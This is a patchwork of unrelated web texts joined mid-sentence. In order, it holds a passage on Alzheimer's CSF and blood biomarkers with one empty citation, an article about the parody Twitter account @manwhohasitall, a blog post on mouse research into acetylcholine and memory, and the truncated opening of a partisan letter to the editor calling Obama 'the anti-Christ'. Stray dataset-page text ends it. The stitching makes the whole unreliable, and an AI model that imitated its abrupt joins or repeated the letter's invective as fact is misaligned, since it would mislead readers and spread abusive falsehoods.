is also possible that different assays measure different variants of Aβ oligomers, which might explain the divergent results. The studies provide little characterization of what the various assays are even measuring. Other candidate markers In addition to the amyloid cascade hypothesis, genetics points to at least three other pathways that may be of relevance in AD pathogenesis: (i) the innate immune system, (ii) cholesterol metabolism and (iii) endosomal vesicle recycling. Better biomarkers for these processes may give us better tools to assess the importance of aberrations in these pathways and to subgroup AD patients according to which pathway is most abnormal. Candidate biomarkers may help us to better characterize the ongoing pathologic processes in the AD brain. One example of this is the inflammatory biomarker YKL-40, which is secreted by activated microglia [101]. Studies have found increased levels of CSF YKL-40 in AD patients, as a sign of microglial activation [102–104]. Although Craig-Shapiro et al. suggested that YKL-40 is secreted by astrocytes, data from cell cultures and immunohistochemistry show that microglia, rather than astrocytes, are responsible for the main production of YKL-40 [101]. In an experimental setting, Simard et al. provided further insight into the role of microglia in AD by showing that blood-derived microglia can prevent the formation of or eliminate amyloid plaques in transgenic mice [105]. There are several other interesting candidate biomarkers, such as visinin-like protein-1 [106], neurogranin [107] and F2-isoprostane [108].
Blood biomarkers Since blood is more easily accessible than CSF, finding reliable blood biomarkers for AD is desirable. Due to the blood–brain barrier, the concentration of brain-derived proteins in the blood is lower than in the CSF, which makes this task a challenge. Further, brain-derived proteins are diluted in the large plasma volume and may also get degraded. Recent studies point to important differences in the regulation of, e.g., tau concentrations in CSF as compared to blood. In patients with hypoxic brain injury following cardiac arrest, tau is rapidly released into the bloodstream but effectively (within 24 hours) cleared in patients with good neurological outcome [109]. In contrast, CSF tau levels stay elevated for many weeks following an acute neurological insult [38]. Further, tau levels are clearly elevated in CSF from patients with Alzheimer’s disease, but less so in the corresponding plasma samples; measurements of tau in these two compartments do not correlate [110]. Many studies have examined the association of plasma Aβ40 and Aβ42 levels with incipient AD, but the results are not clear-cut. Some studies have found that elevated Aβ40 [111, 112] or Aβ42 [] levels predicted development of AD, while others have found the opposite [115] or no associations [116, 117]. Some studies found that a low Aβ42:Aβ40 ratio predicted future AD [111, 118, 119] while others report an elevated ratio [112, 113] or no significant difference [116] in the group with incipient AD compared with subjects that didn’t develop AD. Recently, a meta-analysis over the literature indicated that a low Ab42:Ab40 ratio could predict development of AD, but no such association was found for the individual peptides [120]. More research in the area is needed. Cross-sectional studies that have compared Aβ levels in AD patients and controls have mostly found similar group levels [121]. In one study, high levels of Aβ42 was associated with a more rapid rate of cognitive decline among AD patients [122]. Recent studies have, by measuring the levels of several plasma analytes simultaneously, found biomarker patterns that successfully differentiated AD patients from controls [123, 124] or were associated with MCI or AD [125]. However, some of these finding have been hard to reproduce in independent studies [126, 127]. Other studies have found that plasma analytes such as desmosterol [128], transthyretin [129], clusterin [130], chitinase 3-like 1 protein [131] and matrix metalloproteinase 2 [132] may be associated with AD. This needs to be corroborated in further studies. Several of these biomarkers have also been associated with AD when measured in CSF.@manwhohasitall offers "top tips for men juggling a successful career and fatherhood" -- from beauty routines to clothing advice to ways to get some "me time" while doing housework late at night.
A hilarious parody Twitter account is calling out the inane advice working moms hear all the time.
Wife back on the playstation? Kids asleep? This is YOUR time to relax. Did you know that ironing can help you to de-stress and de-bloat?
Working husband & father? Feeling overwhelmed? YOUR FAULT. Drink more water, get up earlier & dress in your 'wow' colours.
TIRED WORKING DAD? Love lentils but not sure what to do with them? Insert into corners of eyes for a wide awake, fresh faced look.
The account launched in May 2015 and currently has over 5000 followers, many of whom have praised the eye-opening "gender-flipping" lifestyle advice.
As Twitter user Laura Cowen wrote, "Stuff we're used to hearing said to women suddenly sounds shocking/ridiculous/patronising when said to men..."
In an interview with The Huffington Post, the U.K.-based creator of @manwhohasitall -- who prefers to remain anonymous -- pointed to reviews like Cowen's when asked about the principal message of the account. By reimagining the "crap" that lifestyle publications and advertisements often spout at working moms, @manwhohasitall highlights the tired gender stereotypes used to characterize women in the workforce today.
Speaking in character, the account's creator added, "Don't get me wrong, I'm absolutely fine with dads who work. It boosts their self-esteem and gives them an identity beyond just 'dad.'"
Keep scrolling and visit @manwhohasitall on Twitter and Tumblr for more brilliant advice for all those frazzled working dads out there.Don’t You Forget About Me We all have them: Memories we’d just rather forget. A particularly humiliating experience, like that time you peed in the public pool or when you face-planted in front of that girl you were totally in love with. Oh, wait…those are my memories. The point is, there are certain experiences that can exercise an outsized, maybe even debilitating, influence over the rest of one’s life. And all kidding aside, there are those who have suffered from terrifying and traumatic life events that color and taint their perceptions (to their great detriment). Post-Traumatic Stress Disorder (PTSD) is just one such condition—common to military veterans, war refugees, and victims of rape and other violent crimes. Now researchers at Stony Brook University may have found a way to actually manipulate memories. If it stands against additional review, it will be a finding with enormous implications, ranging from reassembling shattered lives to overcoming the memory-loss effects of Alzheimer’s Disease.
The new research focused on “tuning” memories by controlling acetylcholine, a neurotransmitter used by the brain in signaling memories. Emotional memory, it is believed, is seated in the amygdala, a part of the limbic system. Acetylcholine is transmitted to the amygdala via cholinergic neurons. Other research has suggested that these neurons are also affected by neurodegenerative disorders, and that amplifying cholinergic activity in the amygdala can enhance emotional memories and their recall. Always Something There to Remind Me The study, which was published in the journal Neuron, used optogenetics to stimulate certain cholinergic neurons in mice—they heightened its production during the formation of a traumatic memory, which doubled the period of time that the memory subsequently lasted. In a second test, they did the opposite, suppressing amygdalar acetylcholine during a traumatic experience. They found that, far from producing a fear response, they had actually erased the painful memory altogether. “This second finding was particularly surprising, as we essentially created fearless mice by manipulating acetylcholine circuits in the brain,” says Lorna Role, professor of neurobiology and behavior at Stony Brook.
Further research will seek to find ways to manipulate these cholinergic neurons in a way that doesn’t involve drug therapy; they are crucial to memory-formation, and it wouldn’t do to tamper overmuch with these important brain mechanisms. But it opens the door to enhancing or diminishing memories—memory control, essentially, which could be a remarkable therapeutic option for victims of violence, sufferers of PTSD, and even those experiencing memory loss, amnesia, or cognitive decline. Of course, it also conjures darker images of Orwellian dystopias where we manipulate minds and memories, rewriting reality. But I prefer to think of its positive benefits and imagine all the good such research can do in repairing broken lives.Dear Editor: Nov. 2 will be the most important election in this country in over a thousand years! Our country is in a mess thanks to the know-nothing hat-wearing baby-hating money-worshipping break-dancing Democrats who were idiotically elected two years ago.
The coming of Obama, the anti-Christ, who is also a socialist |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.